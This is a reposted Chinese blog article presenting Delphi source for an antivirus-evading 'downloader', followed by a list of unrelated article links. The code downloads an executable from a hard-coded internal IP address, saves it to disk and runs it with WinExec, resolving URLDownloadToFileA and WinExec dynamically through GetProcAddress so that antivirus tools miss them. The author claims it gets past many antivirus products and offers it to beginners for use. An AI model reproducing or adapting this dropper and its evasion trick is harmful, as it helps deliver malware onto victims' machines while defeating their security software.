博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Delphi函数动态调用实现免杀
阅读量:5282 次
发布时间:2019-06-14

本文共 1490 字,大约阅读时间需要 4 分钟。

Delphi

源码免杀之函数动态调用实现免杀的下载者自己编译这份代码看看过N多杀软没什么技术含量只是发出来给不懂的人入入门也防止有新人老是来问

 

ShellApi,URLMon 

单元

 

//Delphi动态调用API函数

 

procedure TForm1.Button1Click(Sender: TObject); 

var 

   SourceFile:ansistring; 

   DestFile :ansistring; 

   down2:function(Caller: IUnknown; URL: PChar; FileName: PChar; Longint: DWORD; 

StatusCB: IBindStatusCallback): Longint; stdcall; 

   exe2:function(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall; 

 

begin 

    SourceFile:='http://172.16.126.152/UrlDown/k8team.exe'; 

    DestFile := 'f:\bbbaa.exe'; 

//原函数 下载完就执行,典型的下载者

//常用函数 是个杀软都会杀得你连路都不见

    //UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil); 

//WinExec(Pchar(DestFile),SW_SHOW); 

 //要和原函数对应

  //动态调用

    @Down2:=GetProcAddress(LoadLibrary('URLMON.DLL'),'URLDownloadToFileA'); 

    Down2(nil, PChar(SourceFile), PChar(DestFile), 0, nil); 

    //动态调用

    @exe2:=GetProcAddress(LoadLibrary('kernel32.dll'),'WinExec'); 

    exe2(PChar(DestFile),SW_SHOW); 

end; 

 

//=============================================================================================================== 附上函数原型

URLDownloadToFile 

函数

 

function URLDownloadToFile; external  UrlMonLib  name  'URLDownloadToFileA'; 

UrlMonLib = 'URLMON.DLL'; 

function  URLDownloadToFile(Caller: IUnknown; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB: IBindStatusCallback): HResult; stdcall; 

 

 

 WinExec 

函数

 

function WinExec; external kernel32 name 'WinExec'; 

  kernel32  = 'kernel32.dll'; 

function WinExec(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall; 

 

转载于:https://www.cnblogs.com/hzz-develop/p/6086008.html

你可能感兴趣的文章
CF219D Choosing Capital for Treeland
查看>>
杂七杂八的小笔记本
查看>>
51Nod1353 树
查看>>
CF1215E Marbles
查看>>
BZOJ2339 HNOI2011卡农(动态规划+组合数学)
查看>>
octave基本操作
查看>>
axure学习点
查看>>
WPF文本框只允许输入数字[转]
查看>>
dom4j 通用解析器,解析成List<Map<String,Object>>
查看>>
第一个项目--用bootstrap实现美工设计的首页
查看>>
使用XML传递数据
查看>>
TYVJ.1864.[Poetize I]守卫者的挑战(概率DP)
查看>>
0925 韩顺平java视频
查看>>
iOS-程序启动原理和UIApplication
查看>>
mysql 8.0 zip包安装
查看>>
awk 统计
查看>>
模板设计模式的应用
查看>>
实训第五天
查看>>
平台维护流程
查看>>
2012暑期川西旅游之总结
查看>>